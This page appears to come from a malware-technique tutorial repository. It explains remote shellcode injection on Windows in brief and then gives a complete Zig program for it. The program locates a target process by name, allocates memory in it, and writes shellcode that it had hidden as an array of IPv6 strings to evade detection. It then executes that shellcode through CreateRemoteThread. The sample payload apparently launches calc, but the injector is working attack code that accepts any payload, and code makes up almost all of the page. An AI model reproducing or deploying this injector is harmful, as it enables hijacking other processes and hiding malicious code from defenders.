Shellcode Injection
TL;DR
Shellcode injection writes raw machine code into the memory of another process and then executes it. Typically the attacker opens the target process with the required permissions, allocates executable memory, copies the shellcode bytes, and starts a remote thread at that location. The sample in this repository obfuscates the payload as an array of IPv6 strings, then decodes and injects the resulting buffer. This technique provides complete control over the victim process and is frequently used for privilege escalation or to hide malicious behavior behind a trusted process.
Code Walkthrough
main.zig
const std = @import("std");
const net = std.net;
const windows = std.os.windows;
const print = std.debug.print;
const IPV6_ARRAY: [17][]const u8 = [_][]const u8{
"FC48:83E4:F0E8:C000:0000:4151:4150:5251",
"5648:31D2:6548:8B52:6048:8B52:1848:8B52",
"2048:8B72:5048:0FB7:4A4A:4D31:C948:31C0",
"AC3C:617C:022C:2041:C1C9:0D41:01C1:E2ED",
"5241:5148:8B52:208B:423C:4801:D08B:8088",
"0000:0048:85C0:7467:4801:D050:8B48:1844",
"8B40:2049:01D0:E356:48FF:C941:8B34:8848",
"01D6:4D31:C948:31C0:AC41:C1C9:0D41:01C1",
"38E0:75F1:4C03:4C24:0845:39D1:75D8:5844",
"8B40:2449:01D0:6641:8B0C:4844:8B40:1C49",
"01D0:418B:0488:4801:D041:5841:585E:595A",
"4158:4159:415A:4883:EC20:4152:FFE0:5841",
"595A:488B:12E9:57FF:FFFF:5D48:BA01:0000",
"0000:0000:0048:8D8D:0101:0000:41BA:318B",
"6F87:FFD5:BBE0:1D2A:0A41:BAA6:95BD:9DFF",
"D548:83C4:283C:067C:0A80:FBE0:7505:BB47",
"1372:6F6A:0059:4189:DAFF:D563:616C:6300",
};
const NUMBER_OF_ELEMENTS: usize = 17;
// Windows API types
const HANDLE = windows.HANDLE;
const DWORD = windows.DWORD;
const BOOL = windows.BOOL;
const LPVOID = *anyopaque;
const LPCWSTR = [*:0]const u16;
const SIZE_T = usize;
const PVOID = *anyopaque;
// Process access rights
const PROCESS_ALL_ACCESS = 0x001F0FFF;
// Memory allocation constants
const MEM_COMMIT = 0x1000;
const MEM_RESERVE = 0x2000;
const PAGE_READWRITE = 0x04;
const PAGE_EXECUTE_READWRITE = 0x40;
// Snapshot constants
const TH32CS_SNAPPROCESS = 0x00000002;
const INVALID_HANDLE_VALUE = @as(windows.HANDLE, @ptrFromInt(std.math.maxInt(usize)));
// Process entry structure
const PROCESSENTRY32W = extern struct {
dwSize: DWORD,
cntUsage: DWORD,
th32ProcessID: DWORD,
th32DefaultHeapID: usize,
th32ModuleID: DWORD,
cntThreads: DWORD,
th32ParentProcessID: DWORD,
pcPriClassBase: i32,
dwFlags: DWORD,
szExeFile: [260]u16,
};
// Windows API function declarations
extern "kernel32" fn CreateToolhelp32Snapshot(dwFlags: DWORD, th32ProcessID: DWORD) callconv(.C) HANDLE;
extern "kernel32" fn Process32FirstW(hSnapshot: HANDLE, lppe: *PROCESSENTRY32W) callconv(.C) BOOL;
extern "kernel32" fn Process32NextW(hSnapshot: HANDLE, lppe: *PROCESSENTRY32W) callconv(.C) BOOL;
extern "kernel32" fn OpenProcess(dwDesiredAccess: DWORD, bInheritHandle: BOOL, dwProcessId: DWORD) callconv(.C) ?HANDLE;
extern "kernel32" fn VirtualAllocEx(HANDLE, ?LPVOID, SIZE_T, DWORD, DWORD) callconv(.C) ?LPVOID;
extern "kernel32" fn WriteProcessMemory(HANDLE, LPVOID, ?*const anyopaque, SIZE_T, ?*SIZE_T) callconv(.C) BOOL;
extern "kernel32" fn VirtualProtectEx(HANDLE, LPVOID, SIZE_T, DWORD, *DWORD) callconv(.C) BOOL;
extern "kernel32" fn CreateRemoteThread(HANDLE, ?*anyopaque, SIZE_T, *const fn (?LPVOID) callconv(.C) DWORD, ?LPVOID, DWORD, ?*DWORD) callconv(.C) ?HANDLE;
extern "kernel32" fn CloseHandle(HANDLE) callconv(.C) BOOL;
extern "kernel32" fn GetLastError() callconv(.C) DWORD;
// Helper function to wait for Enter key
fn waitForEnter() void {
var buffer: [256]u8 = undefined;
_ = std.io.getStdIn().reader().readUntilDelimiterOrEof(buffer[0..], '\n') catch {};
}
// Convert UTF-8 string to wide string
fn convertToWideString(allocator: std.mem.Allocator, utf8_str: []const u8) ![:0]u16 {
return try std.unicode.utf8ToUtf16LeAllocZ(allocator, utf8_str);
}
/// Compare wide strings (case-insensitive)
/// Similar to `wcscmp` in C
fn compareWideStringsIgnoreCase(str1: []const u16, str2: []const u16) bool {
if (str1.len != str2.len) return false;
for (str1, str2) |c1, c2| {
var lower_c1 = c1;
var lower_c2 = c2;
if (c1 >= 'A' and c1 <= 'Z') lower_c1 = c1 + ('a' - 'A');
if (c2 >= 'A' and c2 <= 'Z') lower_c2 = c2 + ('a' - 'A');
if (lower_c1 != lower_c2) return false;
}
return true;
}
fn ipv6Deobfuscation(ipv6_array: []const []const u8, allocator: std.mem.Allocator) ![]u8 {
var buffer = try allocator.alloc(u8, ipv6_array.len * 16);
var offset: usize = 0;
for (ipv6_array) |ip| {
const addr = net.Address.parseIp6(ip, 0) catch return error.InvalidIpFormat;
const ip_bytes = @as([16]u8, @bitCast(addr.in6.sa.addr));
@memcpy(buffer[offset .. offset + 16], &ip_bytes);
offset += 16;
}
return buffer;
}
// Get remote process handle by name
fn getRemoteProcessHandle(allocator: std.mem.Allocator, process_name: []const u8) !struct { pid: DWORD, handle: HANDLE } {
const wide_process_name = try convertToWideString(allocator, process_name);
defer allocator.free(wide_process_name);
print("[i] Searching For Process Id Of \"{s}\" ... ", .{process_name});
const snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snapshot == INVALID_HANDLE_VALUE) {
print("[!] CreateToolhelp32Snapshot Failed With Error : {d} \n", .{GetLastError()});
return error.SnapshotFailed;
}
defer _ = CloseHandle(snapshot);
var process_entry = PROCESSENTRY32W{
.dwSize = @sizeOf(PROCESSENTRY32W),
.cntUsage = 0,
.th32ProcessID = 0,
.th32DefaultHeapID = 0,
.th32ModuleID = 0,
.cntThreads = 0,
.th32ParentProcessID = 0,
.pcPriClassBase = 0,
.dwFlags = 0,
.szExeFile = std.mem.zeroes([260]u16),
};
if (Process32FirstW(snapshot, &process_entry) == 0) {
print("[!] Process32FirstW Failed With Error : {d} \n", .{GetLastError()});
return error.ProcessEnumFailed;
}
while (true) {
var exe_name_len: usize = 0;
while (exe_name_len < process_entry.szExeFile.len and process_entry.szExeFile[exe_name_len] != 0) {
exe_name_len += 1;
}
const exe_name = process_entry.szExeFile[0..exe_name_len];
if (compareWideStringsIgnoreCase(exe_name, wide_process_name)) {
print("[+] DONE \n", .{});
print("[i] Found Target Process Pid: {d} \n", .{process_entry.th32ProcessID});
const handle = OpenProcess(PROCESS_ALL_ACCESS, 0, process_entry.th32ProcessID) orelse {
print("[!] OpenProcess Failed With Error : {d} \n", .{GetLastError()});
return error.OpenProcessFailed;
};
return .{ .pid = process_entry.th32ProcessID, .handle = handle };
}
if (Process32NextW(snapshot, &process_entry) == 0) {
break;
}
}
print("[!] Process is Not Found \n", .{});
return error.ProcessNotFound;
}
// Inject shellcode to remote process
fn injectShellcodeToRemoteProcess(process_handle: HANDLE, shellcode: []const u8) !void {
const shellcode_address = VirtualAllocEx(
process_handle,
null,
shellcode.len,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE,
) orelse {
print("[!] VirtualAllocEx Failed With Error : {d} \n", .{GetLastError()});
return error.VirtualAllocExFailed;
};
print("[i] Allocated Memory At : 0x{X} \n", .{@intFromPtr(shellcode_address)});
print("[#] Press <Enter> To Write Payload ... ", .{});
waitForEnter();
var bytes_written: SIZE_T = 0;
const write_result = WriteProcessMemory(
process_handle,
shellcode_address,
shellcode.ptr,
shellcode.len,
&bytes_written,
);
if (write_result == 0 or bytes_written != shellcode.len) {
print("[!] WriteProcessMemory Failed With Error : {d} \n", .{GetLastError()});
return error.WriteProcessMemoryFailed;
}
print("[i] Successfully Written {d} Bytes\n", .{bytes_written});
// Clear the shellcode from local memory
@memset(@constCast(shellcode.ptr)[0..shellcode.len], 0);
var old_protection: DWORD = 0;
if (VirtualProtectEx(process_handle, shellcode_address, shellcode.len, PAGE_EXECUTE_READWRITE, &old_protection) == 0) {
print("[!] VirtualProtectEx Failed With Error : {d} \n", .{GetLastError()});
return error.VirtualProtectExFailed;
}
print("[#] Press <Enter> To Run ... ", .{});
waitForEnter();
print("[i] Executing Payload ... ", .{});
const thread_handle = CreateRemoteThread(
process_handle,
null,
0,
@ptrCast(shellcode_address),
null,
0,
null,
) orelse {
print("[!] CreateRemoteThread Failed With Error : {d} \n", .{GetLastError()});
return error.CreateRemoteThreadFailed;
};
print("[+] DONE !\n", .{});
_ = CloseHandle(thread_handle);
}
pub fn main() !void {
var gpa = std.heap.GeneralPurposeAllocator(.{}){};
defer _ = gpa.deinit();
const allocator = gpa.allocator();
const args = try std.process.argsAlloc(allocator);
defer std.process.argsFree(allocator, args);
if (args.len < 2) {
print("[!] Usage : \"{s}\" <Process Name> \n", .{args[0]});
std.process.exit(1);
}
const process_name = args[1];
const process_info = getRemoteProcessHandle(allocator, process_name) catch |err| switch (err) {
error.ProcessNotFound => {
print("[!] Process is Not Found \n", .{});
std.process.exit(1);
},
else => {
print("[!] Failed to get process handle\n", .{});
std.process.exit(1);
},
};
defer _ = CloseHandle(process_info.handle);
print("[#] Press <Enter> To Decrypt ... ", .{});
waitForEnter();
print("[i] Decrypting ...", .{});
const shellcode = ipv6Deobfuscation(&IPV6_ARRAY, allocator) catch {
print("[!] IPv6 deobfuscation failed\n", .{});
std.process.exit(1);
};
defer allocator.free(shellcode);
print("[+] DONE !\n", .{});
print("[i] Deobfuscated Payload At : 0x{X} Of Size : {d} \n", .{ @intFromPtr(shellcode.ptr), shellcode.len });
injectShellcodeToRemoteProcess(process_info.handle, shellcode) catch |err| {
print("[!] Shellcode injection failed: {}\n", .{err});
std.process.exit(1);
};
print("[#] Press <Enter> To Quit ... ", .{});
waitForEnter();
}